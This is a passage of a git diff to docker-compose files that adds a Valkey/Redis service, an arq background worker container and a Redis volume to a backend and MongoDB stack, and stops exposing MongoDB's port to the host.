         condition: service_healthy
+      redis:
+        condition: service_healthy
     networks:
       - aoc-internal
     healthcheck:
@@ -39,6 +57,24 @@ services:
       retries: 3
       start_period: 10s
 
+  worker:
+    image: git.cqre.net/cqrenet/aoc-backend:${AOC_VERSION:-latest}
+    container_name: aoc-worker
+    restart: always
+    env_file:
+      - .env
+    environment:
+      MONGO_URI: mongodb://${MONGO_ROOT_USERNAME}:${MONGO_ROOT_PASSWORD}@mongo:27017/
+      REDIS_URL: redis://redis:6379/0
+    command: ["arq", "jobs.WorkerSettings"]
+    depends_on:
+      redis:
+        condition: service_healthy
+      mongo:
+        condition: service_healthy
+    networks:
+      - aoc-internal
+
   nginx:
     image: nginx:alpine
     container_name: aoc-nginx
@@ -58,6 +94,7 @@ services:
 
 volumes:
   mongo_data:
+  redis_data:
 
 networks:
   aoc-internal:

docker-compose.yml

@@ -1,10 +1,17 @@
 services:
+  redis:
+    image: valkey/valkey:8-alpine
+    container_name: aoc-redis
+    restart: always
+    # Ports not exposed to host; backend and worker connect via Docker network
+    volumes:
+      - redis_data:/data
+
   mongo:
     image: mongo:7
     container_name: aoc-mongo
     restart: always
-    ports:
+    # Ports not exposed to host; backend and worker connect via Docker network
-      - "27017:27017"
     environment:
       MONGO_INITDB_ROOT_USERNAME: ${MONGO_ROOT_USERNAME}
       MONGO_INITDB_ROOT_PASSWORD: ${MONGO_ROOT_PASSWORD}
@@ -14,17 +21,34 @@ services:
   backend:
     build: ./backend
     # For production, use the pre-built image instead:
-    # image: git.cqre.net/cqrenet/aoc-backend:v1.1.0
+    # image: git.cqre.net/cqrenet/aoc-backend:v1.2.5
     container_name: aoc-backend
     restart: always
     env_file:
       - .env
     environment:
       MONGO_URI: mongodb://${MONGO_ROOT_USERNAME}:${MONGO_ROOT_PASSWORD}@mongo:${MONGO_PORT}/
+      REDIS_URL: redis://redis:6379/0
     depends_on:
       - mongo
+      - redis
     ports:
       - "8000:8000"
 
+  worker:
+    build: ./backend
+    container_name: aoc-worker
+    restart: always
+    env_file:
+      - .env
+    environment:
+      MONGO_URI: mongodb://${MONGO_ROOT_USERNAME}:${MONGO_ROOT_PASSWORD}@mongo:${MONGO_PORT}/
+      REDIS_URL: redis://redis:6379/0
+    command: ["arq", "jobs.WorkerSettings"]
+    depends_on:
+      - redis
+      - mongo
+
 volumes:
   mongo_data:
+  redis_data: